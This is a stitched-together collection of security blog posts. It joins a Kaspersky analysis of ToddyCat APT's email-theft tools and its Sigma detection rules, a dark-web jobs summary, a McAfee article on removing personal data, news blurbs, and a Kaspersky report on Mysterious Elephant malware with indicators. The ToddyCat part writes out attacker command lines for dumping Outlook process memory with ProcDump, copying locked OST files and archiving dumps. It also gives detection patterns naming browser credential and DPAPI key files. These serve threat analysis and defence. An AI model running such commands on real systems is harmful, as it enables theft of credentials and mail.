description: Detects remote access attempts to browser files containing sensitive information
author: Kaspersky
date: 2025-08-11
tags:
- attack.credential-access
- attack.t1555.003
logsource:
product: windows
service: security
detection:
event:
EventID: '5145'
chromium_files:
ShareLocalPath|endswith:
- '\User Data\Default\History'
- '\User Data\Default\Network\Cookies'
- '\User Data\Default\Login Data'
- '\User Data\Local State'
firefox_path:
ShareLocalPath|contains: '\AppData\Roaming\Mozilla\Firefox\Profiles'
firefox_files:
ShareLocalPath|endswith:
- 'key3.db'
- 'signons.sqlite'
- 'key4.db'
- 'logins.json'
condition: event and (chromium_files or firefox_path and firefox_files)
falsepositives: Legitimate activity
level: mediumIn addition, auditing for access to the folders storing the DPAPI encryption key files is also required.
title: Access To System Master Keys Via Smb
id: ba712364-cb99-4eac-a012-7fc86d040a4a
status: experimental
description: Detects remote access attempts to the Protect file, which stores DPAPI master keys
references:
- https://www.synacktiv.com/en/publications/windows-secrets-extraction-a-summary
author: Kaspersky
date: 2025-08-11
tags:
- attack.credential-access
- attack.t1555
logsource:
product: windows
service: security
detection:
selection:
EventID: '5145'
ShareLocalPath|contains: 'windows\System32\Microsoft\Protect'
condition: selection
falsepositives: Legitimate activity
level: medium
The modified TomBerBil tool family proved ineffective at evading monitoring tools, compelling the threat actor to seek alternative methods for accessing the organization’s critical data. We discovered an attempt to gain access to corporate correspondence files in the local Outlook storage.
The Outlook application stores OST (Offline Storage Table) files for offline use. The names of these files contain the address of the mailbox being cached. Outlook uses OST files to store a local copy of data synchronized with mail servers: Microsoft Exchange, Microsoft 365, or Outlook.com. This capability allows users to work with emails, calendars, contacts, and other data offline, then synchronize changes with the server once the connection is restored.
However, access to an OST file is blocked by the application while Outlook is running. To copy the file, the attackers created a specialized tool called TCSectorCopy.
This tool is designed for block-by-block copying of files that may be inaccessible by applications or the operating system, such as files that are locked while in use.
The tool is a 32-bit PE file written in C++. After launch, it processes parameters passed via the command line: the path to the source file to be copied and the path where the result should be saved. The tool then validates that the source path is not identical to the destination path.
Validating the TCSectorCopy command line parameters
Next, the tool gathers information about the disk hosting the file to be copied: it determines the cluster size, file system type, and other parameters necessary for low-level reading.
Determining the disk’s file system type
TCSectorCopy then opens the disk as a device in read-only mode and sequentially copies the file content block by block, bypassing the standard Windows API. This allows the tool to copy even the files that are locked by the system or other applications.
The adversary uploaded this tool to target host and used it to copy user OST files:
xCopy.exe C:\Users\<user>\AppData\Local\Microsoft\Outlook\<email>@<domain>.ost <email>@<domain>.ost2
Having obtained the OST files, the attackers processed them using a separate tool to extract the email correspondence content.
XstReader is an open-source C# tool for viewing and exporting the content of Microsoft Outlook OST and PST files. The attackers used XstReader to export the content of the previously copied OST files.
XstReader is executed with the -e parameter and the path to the copied file. The -e parameter specifies the export of all messages and their attachments to the current folder in the HTML, RTF, and TXT formats.
XstExport.exe -e <email>@<domain>.ost2
After exporting the data from the OST file, the attackers review the list of obtained files, collect those of interest into an archive, and exfiltrate it.
Stealing data with TCSectorCopy and XstReader
To detect unauthorized access to Outlook OST files, it’s necessary to set up auditing for the %LOCALAPPDATA%\Microsoft\Outlook\ folder and monitor access events for files with the .ost extension. The Outlook process and other processes legitimately using this file must be excluded from the audit.
title: Access To Outlook Ost Files
id: 2e6c1918-08ef-4494-be45-0c7bce755dfc
status: experimental
description: Detects access to the Outlook Offline Storage Table (OST) file
author: Kaspersky
date: 2025-08-11
tags:
- attack.collection
- attack.t1114.001
logsource:
product: windows
service: security
detection:
event:
EventID: 4663
outlook_path:
ObjectName|contains: '\AppData\Local\Microsoft\Outlook\'
ost_file:
ObjectName|endswith: '.ost'
condition: event and outlook_path and ost_file
falsepositives: Legitimate activity
level: lowThe TCSectorCopy tool accesses the OST file via the disk device, so to detect it, it’s important to monitor events such as Event ID 9 (RawAccessRead) in Sysmon. These events indicate reading directly from the disk, bypassing the file system.
As we mentioned earlier, TCSectorCopy receives the path to the OST file via a command line. Consequently, detecting this tool’s malicious activity requires monitoring for a specific OST file naming pattern: the @ symbol and the .ost extension in the file name.
Example of detecting TCSectorCopy activity in KATA
Since active file collection actions on a host are easily tracked using monitoring systems, the attackers’ next step was gaining access to email outside the hosts where monitoring was being performed. Some target organizations used the Microsoft 365 cloud office suite. The attackers attempted to obtain the access token that resides in the memory of processes utilizing this cloud service.
In the OAuth 2.0 protocol, which Microsoft 365 uses for authorization, the access token is used when requesting resources from the server. In Outlook, it is specified in API requests to the cloud service to retrieve emails along with attachments. Its disadvantage is its relatively short lifespan; however, this can be enough to retrieve all emails from a mailbox while bypassing monitoring tools.
The access token is stored using the JWT (JSON Web Tokens) standard. The token content is encoded using Base64. JWT headers for Microsoft applications always specify the typ parameter with the JWT value first. This means that the first 18 characters of the encoded token will always be the same.
The attackers used SharpTokenFinder to obtain the access token from the user’s Outlook application. This tool is written in C# and designed to search for an access token in processes associated with the Microsoft 365 suite. After launch, the tool searches the system for the following processes:
If these processes are found, the tool attempts to open each process’s object using the OpenProcess function and dump their memory. To do this, the tool imports the MiniDumpWriteDump function from the dbghelp.dll file, which writes user mode minidump information to the specified file. The dump files are saved in the dump folder, located in the current SharpTokenFinder directory. After creating dump files for the processes, the tool searches for the following string pattern in each of them:
"eyJ0eX[a-zA-Z0-9\\._\\-]+"
This template uses the first six symbols of the encoded JWT token, which are always the same. Its structures are separated by dots. This is sufficient to find the necessary string in the process memory dump.
Example of a JWT Token
In the incident being described, the local security tools (EPP) blocked the attempt to create the OUTLOOK.exe process dump using SharpTokenFinder, so the operator used ProcDump from the Sysinternals suite for this purpose:
procdump64.exe -accepteula -ma OUTLOOK.exe dir c:\windows\temp\OUTLOOK.EXE_<id>.dmp c:\progra~1\winrar\rar.exe a -k -r -s -m5 -v100M %temp%\dmp.rar c:\windows\temp\OUTLOOK.EXE_<id>.dmp
Here, the operator executed ProcDump with the following parameters:
accepteula silently accepts the license agreement without displaying the agreement window.ma indicates that a full process dump should be created.exe is the name of the process to be dumped.The dir command is then executed as a check to confirm that the file was created and is not zero size. Following this validation, the file is added to a dmp.rar archive using WinRAR. The attackers sent this file to their host via SMB.
To detect this technique, it’s necessary to monitor the ProcDump process command line for names belonging to Microsoft 365 application processes.
title: Dump Of Office 365 Processes Using Procdump
id: 5ce97d80-c943-4ac7-8caf-92bb99e90e90
status: experimental
description: Detects Office 365 process names in the command line of the procdump tool
author: kaspersky
date: 2025-08-11
tags:
- attack.lateral-movement
- attack.defense-evasion
- attack.t1550.001
logsource:
category: process_creation
product: windows
detection:
selection:
Product: 'ProcDump'
CommandLine|contains:
- 'teams'
- 'winword'
- 'onenote'
- 'powerpnt'
- 'outlook'
- 'excel'
- 'onedrive'
- 'sharepoint'
condition: selection
falsepositives: Legitimate activity
level: highBelow is an example of the ProcDump tool from the Sysinternals package used to dump the Outlook process memory, detected by Kaspersky Anti Targeted Attack (KATA).
Example of Outlook process dump detection in KATA
The incidents reviewed in this article show that ToddyCat APT is constantly evolving its techniques and seeking new ways to conceal its activity aimed at gaining access to corporate correspondence within compromised infrastructure. Most of the techniques described here can be successfully detected. For timely identification of these techniques, we recommend using both host-based EPP solutions, such as Kaspersky Endpoint Security for Business, and complex threat monitoring systems, such as Kaspersky Anti Targeted Attack. For comprehensive, up-to-date information on threats and corresponding detection rules, we recommend Kaspersky Threat Intelligence.
Malicious files
55092E1DEA3834ABDE5367D79E50079A ip445.ps1
2320377D4F68081DA7F39F9AF83F04A2 xCopy.exe
B9FDAD18186F363C3665A6F54D51D3A0 stf.exe
Not-a-virus files
49584BD915DD322C3D84F2794BB3B950 XstExport.exe
File paths
C:\programdata\ip445.ps1
C:\Windows\Temp\xCopy.exe
C:\Windows\Temp\XstExport.exe
c:\windows\temp\stf.exe
PDB
O:\Projects\Penetration\Tools\SectorCopy\Release\SectorCopy.pdb
In 2022, we published our research examining how IT specialists look for work on the dark web. Since then, the job market has shifted, along with the expectations and requirements placed on professionals. However, recruitment and headhunting on the dark web remain active.
So, what does this job market look like today? This report examines how employment and recruitment function on the dark web, drawing on 2,225 job-related posts collected from shadow forums between January 2023 and June 2025. Our analysis shows that the dark web continues to serve as a parallel labor market with its own norms, recruitment practices and salary expectations, while also reflecting broader global economic shifts. Notably, job seekers increasingly describe prior work experience within the shadow economy, suggesting that for many, this environment is familiar and long-standing.
The majority of job seekers do not specify a professional field, with 69% expressing willingness to take any available work. At the same time, a wide range of roles are represented, particularly in IT. Developers, penetration testers and money launderers remain the most in-demand specialists, with reverse engineers commanding the highest average salaries. We also observe a significant presence of teenagers in the market, many seeking small, fast earnings and often already familiar with fraudulent schemes.
While the shadow market contrasts with legal employment in areas such as contract formality and hiring speed, there are clear parallels between the two. Both markets increasingly prioritize practical skills over formal education, conduct background checks and show synchronized fluctuations in supply and demand.
Looking ahead, we expect the average age and qualifications of dark web job seekers to rise, driven in part by global layoffs. Ultimately, the dark web job market is not isolated — it evolves alongside the legitimate labor market, influenced by the same global economic forces.
In this report, you’ll find:
Chances are, you have more personal information posted online than you think.
In 2024, the U.S. Federal Trade Commission (FTC) reported that 1.1 million identity theft complaints were filed, where $12.5 billion was lost to identity theft and fraud overall—a 25% increase over the year prior.
What fuels all this theft and fraud? Easy access to personal information.
Here’s one way you can reduce your chances of identity theft: remove your personal information from the internet.
Scammers and thieves can get a hold of your personal information in several ways, such as information leaked in data breaches, phishing attacks that lure you into handing it over, malware that steals it from your devices, or by purchasing your information on dark web marketplaces, just to name a few.
However, scammers and thieves have other resources and connections to help them commit theft and fraud—data broker sites, places where personal information is posted online for practically anyone to see. This makes removing your info from these sites so important, from both an identity and privacy standpoint.
Data broker sites are massive repositories of personal information that also buy information from other data brokers. As a result, some data brokers have thousands of pieces of data on billions of individuals worldwide.
What kind of data could they have on you? A broker may know how much you paid for your home, your education level, where you’ve lived over the years, who you’ve lived with, your driving record, and possibly your political leanings. A broker could even know your favorite flavor of ice cream and your preferred over-the-counter allergy medicine thanks to information from loyalty cards. They may also have health-related information from fitness apps. The amount of personal information can run that broadly, and that deeply.
With information at this level of detail, it’s no wonder that data brokers rake in an estimated $200 billion worldwide every year.
Your personal information reaches the internet through six main methods, most of which are initiated by activities you perform every day. Understanding these channels can help you make more informed choices about your digital footprint.
When you buy a home, register to vote, get married, or start a business, government agencies create public records that contain your personal details. These records, once stored in filing cabinets, are now digitized, accessible online, and searchable by anyone with an internet connection.
Every photo you post, location you tag, and profile detail you share contributes to your digital presence. Even with privacy settings enabled, social media platforms collect extensive data about your behavior, relationships, and preferences. You may not realize it, but every time you share details with your network, you are training algorithms that analyze and categorize your information.
You create accounts with retailers, healthcare providers, employers, and service companies, trusting them to protect your information. However, when hackers breach these systems, your personal information often ends up for sale on dark web marketplaces, where data brokers can purchase it. The Identity Theft Research Center Annual Data Breach Report revealed that 2024 saw the second-highest number of data compromises in the U.S. since the organization began recording incidents in 2005.
When you browse, shop, or use apps, your online behavior is recorded by tracking pixels, cookies, and software development kits. The data collected—such as your location, device usage, and interests—is packaged and sold to data brokers who combine it with other sources to build a profile of you.
Grocery store cards, coffee shop apps, and airline miles programs offer discounts in exchange for detailed purchasing information. Every transaction gets recorded, analyzed, and often shared with third-party data brokers, who then create detailed lifestyle profiles that are sold to marketing companies.
Data brokers act as the hubs that collect information from the various sources to create comprehensive profiles that may include over 5,000 data points per person. Seemingly separate pieces of information become a detailed digital dossier that reveals intimate details about your life, relationships, health, and financial situation.
Legally, your aggregated information from data brokers is used by advertisers to create targeted ad campaigns. In addition, law enforcement, journalists, and employers may use data brokers because the time-consuming pre-work of assembling your data has largely been done.
Currently, the U.S. has no federal laws that regulate data brokers or require them to remove personal information if requested. Only a few states, such as Nevada, Vermont, and California, have legislation that protects consumers. In the European Union, the General Data Protection Regulation (GDPR) has stricter rules about what information can be collected and what can be done with it.
On the darker side, scammers and thieves use personal information for identity theft and fraud. With enough information, they can create a high-fidelity profile of their victims to open new accounts in their name. For this reason, cleaning up your personal information online makes a great deal of sense.
Understanding which data types pose the greatest threat can help you prioritize your removal efforts. Here are the high-risk personal details you should target first, ranked by their potential for harm.
When prioritizing your personal information removal efforts, focus on combinations of data rather than individual pieces. For example, your name alone poses minimal risk, but your name combined with your address, phone number, and date of birth creates a comprehensive profile that criminals can exploit. Tools such as McAfee Personal Data Cleanup can help you identify and remove these high-risk combinations from data broker sites systematically.
This process takes time and persistence, but services such as McAfee Personal Data Cleanup can continuously monitor for new exposures and manage opt-out requests on your behalf. The key is to first understand the full scope of your online presence before beginning the removal process.
Let’s review some ways you can remove your personal information from data brokers and other sources on the internet.
Once you have found the sites that have your information, the next step is to request to have it removed. You can do this yourself or employ services such as McAfee’s Personal Data Cleanup, which can help manage the removal for you depending on your subscription. It also monitors those sites, so if your info gets posted again, you can request its removal again.
You can request to remove your name from Google search to limit your information from turning up in searches. You can also turn on “Auto Delete” in your privacy settings to ensure your data is deleted regularly. Occasionally deleting your cookies or browsing in incognito mode prevents websites from tracking you. If Google denies your initial request, you can appeal using the same tool, providing more context, documentation, or legal grounds for removal. Google’s troubleshooter tool may explain why your request was denied—either legitimate public interest or newsworthiness—and how to improve your appeal.
It’s important to know that the original content remains on the source website. You’ll still need to contact website owners directly to have your actual content removed. Additionally, the information may still appear in other search engines.
If you have old, inactive accounts that have gone by the wayside such as Myspace or Tumblr, you may want to deactivate or delete them entirely. For social media platforms that you use regularly, such as Facebook and Instagram, consider adjusting your privacy settings to keep your personal information to the bare minimum.
If you’ve ever published articles, written blogs, or created any content online, it is a good time to consider taking them down if they no longer serve a purpose. If you were mentioned or tagged by other people, it is worth requesting them to take down posts with sensitive information.
Another way to tidy up your digital footprint is to delete phone apps you no longer use as hackers are able to track personal information on these and sell it. As a rule, share as little information with apps as possible using your phone’s settings.
After sending your removal request, give the search engine or source website 7 to 10 business days to respond initially, then follow up weekly if needed. If a website owner doesn’t respond within 30 days or refuses your request, you have several escalation options:
For comprehensive guidance on website takedown procedures and your legal rights, visit the FTC’s privacy and security guidance for the most current information on consumer data protection. Direct website contact can be time-consuming, but it’s often effective for removing information from smaller sites that don’t appear on major data broker opt-out lists. Stay persistent, document everything, and remember that you have legal rights to protect your privacy online.
After you’ve cleaned up your data from websites and social platforms, your web browsers may still save personal information such as your browsing history, cookies, autofill data, saved passwords, and even payment methods. Clearing this information and adjusting your privacy settings helps prevent tracking, reduces targeted ads, and limits how much personal data websites can collect about you.
When your home address is publicly available, it can expose you to risks like identity theft, stalking, or targeted scams. Taking steps to remove or mask your address across data broker sites, public records, and even old social media profiles helps protect your privacy, reduce unwanted contact, and keep your personal life more secure.
The cost to remove your personal information from the internet varies, depending on whether you do it yourself or use a professional service. Read the guide below to help you make an informed decision:
Removing your information on your own primarily requires time investment. Expect to spend 20 to 40 hours looking for your information online and submitting removal requests. In terms of financial costs, most data brokers may not charge for opting out, but other expenses could include certified mail fees for formal removal requests—about $3-$8 per letter—and possibly notarization fees for legal documents. In total, this effort can be substantial when dealing with dozens of sites.
Depending on which paid removal and monitoring service you employ, basic plans typically range from $8 to $25 monthly while annual plans, which often provide better value, range from $100 to $600. Premium services that monitor hundreds of data broker sites and provide ongoing removal can cost $1,200-$2,400 annually.
The difference in pricing is driven by several factors. This includes the number of data broker sites to be monitored, which could cover more than 200 sites, and the scope of removal requests which may include basic personal information or comprehensive family protection. The monitoring frequency and additional features such as dark web monitoring, credit protection, and identity restoration support and insurance coverage typically command higher prices.
The upfront cost may seem significant, but continuous monitoring provides essential value. A McAfee survey revealed that 95% of consumers’ personal information ends up on data broker sites without their consent. It is possible that after the successful removal of your information, it may reappear on data broker sites without ongoing monitoring. This makes continuous protection far more cost-effective than repeated one-time cleanups.
Services such as McAfee Personal Data Cleanup can prove invaluable, as it handles the initial removal process, as well as ongoing monitoring to catch when your information resurfaces, saving you time and effort while offering long-term privacy protection.
Aside from the services above, comprehensive protection software can help safeguard your privacy and minimize your exposure to cybercrime with these offerings such as:
So while it may seem like all this rampant collecting and selling of personal information is out of your hands, there’s plenty you can do to take control. With the steps outlined above and strong online protection software at your back, you can keep your personal information more private and secure.
Unlike legitimate data broker sites, the dark web operates outside legal boundaries where takedown requests don’t apply. Rather than trying to remove information that’s already circulating, you can take immediate steps to reduce the potential harm and focus on preventing future exposure. A more effective approach is to treat data breaches as ongoing security issues rather than one-time events.
Both the FTC and Cybersecurity and Infrastructure Security Agency have released guidelines on proactive controls and continuous monitoring. Here are key steps of those recommendations:
As you go about removing your information for the internet, it is important to set realistic expectations. Several factors may limit how completely you can remove personal data from internet sources:
While some states like California have stronger consumer privacy rights, most data removal still depends on voluntary compliance from companies.
Removing your personal information from the internet takes effort, but it’s one of the most effective ways to protect yourself from identity theft and privacy violations. The steps outlined above provide you with a clear roadmap to systematically reduce your online exposure, from opting out of data brokers to tightening your social media privacy settings.
This isn’t a one-time task but an ongoing process that requires regular attention, as new data appears online constantly. Rather than attempting to complete digital erasure, focus on reducing your exposure to the most harmful uses of your personal information. Services like McAfee Personal Data Cleanup can help automate the most time-consuming parts of this process, monitoring high-risk data broker sites and managing removal requests for you.
The post How to Remove Your Personal Information From the Internet appeared first on McAfee Blog.
Between 2016 and 2021, the suspects defrauded 4.3 million cardholders in 193 countries of €300 million (~$346 million).
The post 18 Arrested in Crackdown on Credit Card Fraud Rings appeared first on SecurityWeek.
An attacker can inject indirect prompts to trick the model into harvesting user data and sending it to the attacker’s account.
The post Claude AI APIs Can Be Abused for Data Exfiltration appeared first on SecurityWeek.
Mysterious Elephant is a highly active advanced persistent threat (APT) group that we at Kaspersky GReAT discovered in 2023. It has been consistently evolving and adapting its tactics, techniques, and procedures (TTPs) to stay under the radar. With a primary focus on targeting government entities and foreign affairs sectors in the Asia-Pacific region, the group has been using a range of sophisticated tools and techniques to infiltrate and exfiltrate sensitive information. Notably, Mysterious Elephant has been exploiting WhatsApp communications to steal sensitive data, including documents, pictures, and archive files.
The group’s latest campaign, which began in early 2025, reveals a significant shift in their TTPs, with an increased emphasis on using new custom-made tools as well as customized open-source tools, such as BabShell and MemLoader modules, to achieve their objectives. In this report, we will delve into the history of Mysterious Elephant’s attacks, their latest tactics and techniques, and provide a comprehensive understanding of this threat.
Additional information about this threat is available to customers of the Kaspersky Intelligence Reporting Service. Contact: intelreports@kaspersky.com.
Mysterious Elephant is a threat actor we’ve been tracking since 2023. Initially, its intrusions resembled those of the Confucius threat actor. However, further analysis revealed a more complex picture. We found that Mysterious Elephant’s malware contained code from multiple APT groups, including Origami Elephant, Confucius, and SideWinder, which suggested deep collaboration and resource sharing between teams. Notably, our research indicates that the tools and code borrowed from the aforementioned APT groups were previously used by their original developers, but have since been abandoned or replaced by newer versions. However, Mysterious Elephant has not only adopted these tools, but also continued to maintain, develop, and improve them, incorporating the code into their own operations and creating new, advanced versions. The actor’s early attack chains featured distinctive elements, such as remote template injections and exploitation of CVE-2017-11882, followed by the use of a downloader called “Vtyrei”, which was previously connected to Origami Elephant and later abandoned by this group. Over time, Mysterious Elephant has continued to upgrade its tools and expanded its operations, eventually earning its designation as a previously unidentified threat actor.
The group’s latest campaign, which was discovered in early 2025, reveals a significant shift in their TTPs. They are now using a combination of exploit kits, phishing emails, and malicious documents to gain initial access to their targets. Once inside, they deploy a range of custom-made and open-source tools to achieve their objectives. In the following sections, we’ll delve into the latest tactics and techniques used by Mysterious Elephant, including their new tools, infrastructure, and victimology.
Mysterious Elephant has started using spear phishing techniques to gain initial access. Phishing emails are tailored to each victim and are convincingly designed to mimic legitimate correspondence. The primary targets of this APT group are countries in the South Asia (SA) region, particularly Pakistan. Notably, this APT organization shows a strong interest and inclination towards diplomatic institutions, which is reflected in the themes covered by the threat actor’s spear phishing emails, as seen in bait attachments.
Spear phishing email used by Mysterious Elephant
For example, the decoy document above concerns Pakistan’s application for a non-permanent seat on the United Nations Security Council for the 2025–2026 term.
Mysterious Elephant’s toolkit is a noteworthy aspect of their operations. The group has switched to using a variety of custom-made and open-source tools instead of employing known malware to achieve their objectives.
The threat actor uses PowerShell scripts to execute commands, deploy additional payloads, and establish persistence. These scripts are loaded from C2 servers and often use legitimate system administration tools, such as curl and certutil, to download and execute malicious files.
Malicious PowerShell script seen in Mysterious Elephant’s 2025 attacks
For example, the script above is used to download the next-stage payload and save it as ping.exe. It then schedules a task to execute the payload and send the results back to the C2 server. The task is set to run automatically in response to changes in the network profile, ensuring persistence on the compromised system. Specifically, it is triggered by network profile-related events (Microsoft-Windows-NetworkProfile/Operational), which can indicate a new network connection. A four-hour delay is configured after the event, likely to help evade detection.
One of the most recent tools used by Mysterious Elephant is BabShell. This is a reverse shell tool written in C++ that enables attackers to connect to a compromised system. Upon execution, it gathers system information, including username, computer name, and MAC address, to identify the machine. The malware then enters an infinite loop of performing the following steps:
output_[timestamp].txt, where [timestamp] is the current time. This allows the attacker to review the results of the commands.output_[timestamp].txt file are then transmitted back to the C2 server, providing the attacker with the outcome of the executed commands and enabling them to take further actions, for instance, deploy a next-stage payload or execute additional malicious instructions.BabShell uses the following commands to execute command-line instructions and additional payloads it receives from the server:
One of the latest modules used by Mysterious Elephant and loaded by BabShell is MemLoader HidenDesk.
MemLoader HidenDesk is a reflective PE loader that loads and executes malicious payloads in memory. It uses encryption and compression to evade detection.
MemLoader HidenDesk operates in the following manner:
D12Q4GXl1SmaZv3hKEzdAhvdBkpWpwcmSpcD, the malware decrypts a block of data from its own binary and executes it in memory as a shellcode. The shellcode’s sole purpose is to load and execute a PE file, specifically a sample of the commercial RAT called “Remcos” (MD5: 037b2f6233ccc82f0c75bf56c47742bb).Another recent loader malware used in the latest campaign is MemLoader Edge.
MemLoader Edge is a malicious loader that embeds a sample of the VRat backdoor, utilizing encryption and evasion techniques.
It operates in the following manner:
bing.com:445, which is likely to fail since the 445 port is not open on the server side. If the test were to succeed, suggesting that the loader is possibly in an emulation or sandbox environment, the malware would drop an embedded picture on the machine and display a popup window with three unresponsive mocked-up buttons, then enter an infinite loop. This is done to complicate detection and analysis.MZ\x90, indicating that the real XOR keys are found within the array.C:\Users\admin\source\repos\vRat_Client\Release\vRat_Client.pdb
Spying on WhatsApp communications is a key aspect of the exfiltration modules employed by Mysterious Elephant. They are designed to steal sensitive data from compromised systems. The attackers have implemented WhatsApp-specific features into their exfiltration tools, allowing them to target files shared through the WhatsApp application and exfiltrate valuable information, including documents, pictures, archive files, and more. These modules employ various techniques, such as recursive directory traversal, XOR decryption, and Base64 encoding, to evade detection and upload the stolen data to the attackers’ C2 servers.
The Uplo Exfiltrator is a data exfiltration tool that targets specific file types and uploads them to the attackers’ C2 servers. It uses a simple XOR decryption to deobfuscate C2 domain paths and employs a recursive depth-first directory traversal algorithm to identify valuable files. The malware specifically targets file types that are likely to contain potentially sensitive data, including documents, spreadsheets, presentations, archives, certificates, contacts, and images. The targeted file extensions include .TXT, .DOC, .DOCX, .PDF, .XLS, .XLSX, .CSV, .PPT, .PPTX, .ZIP, .RAR, .7Z, .PFX, .VCF, .JPG, .JPEG, and .AXX.
The Stom Exfiltrator is a commonly used exfiltration tool that recursively searches specific directories, including the “Desktop” and “Downloads” folders, as well as all drives except the C drive, to collect files with predefined extensions. Its latest variant is specifically designed to target files shared through the WhatsApp application. This version uses a hardcoded folder path to locate and exfiltrate such files:
%AppData%\\Packages\\xxxxx.WhatsAppDesktop_[WhatsApp ID]\\LocalState\\Shared\\transfers\\
The targeted file extensions include .PDF, .DOCX, .TXT, .JPG, .PNG, .ZIP, .RAR, .PPTX, .DOC, .XLS, .XLSX, .PST, and .OST.
The ChromeStealer Exfiltrator is another exfiltration tool used by Mysterious Elephant that targets Google Chrome browser data, including cookies, tokens, and other sensitive information. It searches specific directories within the Chrome user data of the most recently used Google Chrome profile, including the IndexedDB directory and the “Local Storage” directory. The malware uploads all files found in these directories to the attacker-controlled C2 server, potentially exposing sensitive data like chat logs, contacts, and authentication tokens. The response from the C2 server suggests that this tool was also after stealing files related to WhatsApp. The ChromeStealer Exfiltrator employs string obfuscation to evade detection.
Mysterious Elephant’s infrastructure is a network of domains and IP addresses. The group has been using a range of techniques, including wildcard DNS records, to generate unique domain names for each request. This makes it challenging for security researchers to track and monitor their activities. The attackers have also been using virtual private servers (VPS) and cloud services to host their infrastructure. This allows them to easily scale and adapt their operations to evade detection. According to our data, this APT group has utilized the services of numerous VPS providers in their operations. Nevertheless, our analysis of the statistics has revealed that Mysterious Elephant appears to have a preference for certain VPS providers.
VPS providers most commonly used by Mysterious Elephant (download)
Mysterious Elephant’s primary targets are government entities and foreign affairs sectors in the Asia-Pacific region. The group has been focusing on Pakistan, Bangladesh, and Sri Lanka, with a lower number of victims in other countries. The attackers have been using highly customized payloads tailored to specific individuals, highlighting their sophistication and focus on targeted attacks.
The group’s victimology is characterized by a high degree of specificity. Attackers often use personalized phishing emails and malicious documents to gain initial access. Once inside, they employ a range of tools and techniques to escalate privileges, move laterally, and exfiltrate sensitive information.
Countries targeted most often by Mysterious Elephant (download)
Industries most targeted by Mysterious Elephant (download)
In conclusion, Mysterious Elephant is a highly sophisticated and active Advanced Persistent Threat group that poses a significant threat to government entities and foreign affairs sectors in the Asia-Pacific region. Through their continuous evolution and adaptation of tactics, techniques, and procedures, the group has demonstrated the ability to evade detection and infiltrate sensitive systems. The use of custom-made and open-source tools, such as BabShell and MemLoader, highlights their technical expertise and willingness to invest in developing advanced malware.
The group’s focus on targeting specific organizations, combined with their ability to tailor their attacks to specific victims, underscores the severity of the threat they pose. The exfiltration of sensitive information, including documents, pictures, and archive files, can have significant consequences for national security and global stability.
To counter the Mysterious Elephant threat, it is essential for organizations to implement robust security measures, including regular software updates, network monitoring, and employee training. Additionally, international cooperation and information sharing among cybersecurity professionals, governments, and industries are crucial in tracking and disrupting the group’s activities.
Ultimately, staying ahead of Mysterious Elephant and other APT groups requires a proactive and collaborative approach to cybersecurity. By understanding their TTPs, sharing threat intelligence, and implementing effective countermeasures, we can reduce the risk of successful attacks and protect sensitive information from falling into the wrong hands.
More IoCs are available to customers of the Kaspersky Intelligence Reporting Service. Contact: intelreports@kaspersky.com.
Malicious documents
c12ea05baf94ef6f0ea73470d70db3b2 M6XA.rar
8650fff81d597e1a3406baf3bb87297f 2025-013-PAK-MoD-Invitation_the_UN_Peacekeeping.rar
MemLoader HidenDesk
658eed7fcb6794634bbdd7f272fcf9c6 STI.dll
4c32e12e73be9979ede3f8fce4f41a3a STI.dll
MemLoader Edge
3caaf05b2e173663f359f27802f10139 Edge.exe, debugger.exe, runtime.exe
bc0fc851268afdf0f63c97473825ff75
BabShell
85c7f209a8fa47285f08b09b3868c2a1
f947ff7fb94fa35a532f8a7d99181cf1
Uplo Exfiltrator
cf1d14e59c38695d87d85af76db9a861 SXSHARED.dll
Stom Exfiltrator
ff1417e8e208cadd55bf066f28821d94
7ee45b465dcc1ac281378c973ae4c6a0 ping.exe
b63316223e952a3a51389a623eb283b6 ping.exe
e525da087466ef77385a06d969f06c81
78b59ea529a7bddb3d63fcbe0fe7af94
ChromeStealer Exfiltrator
9e50adb6107067ff0bab73307f5499b6 WhatsAppOB.exe
hxxps://storycentral[.]net
hxxp://listofexoticplaces[.]com
hxxps://monsoonconference[.]com
hxxp://mediumblog[.]online:4443
hxxp://cloud.givensolutions[.]online:4443
hxxp://cloud.qunetcentre[.]org:443
solutions.fuzzy-network[.]tech
pdfplugins[.]com
file-share.officeweb[.]live
fileshare-avp.ddns[.]net
91.132.95[.]148
62.106.66[.]80
158.255.215[.]45
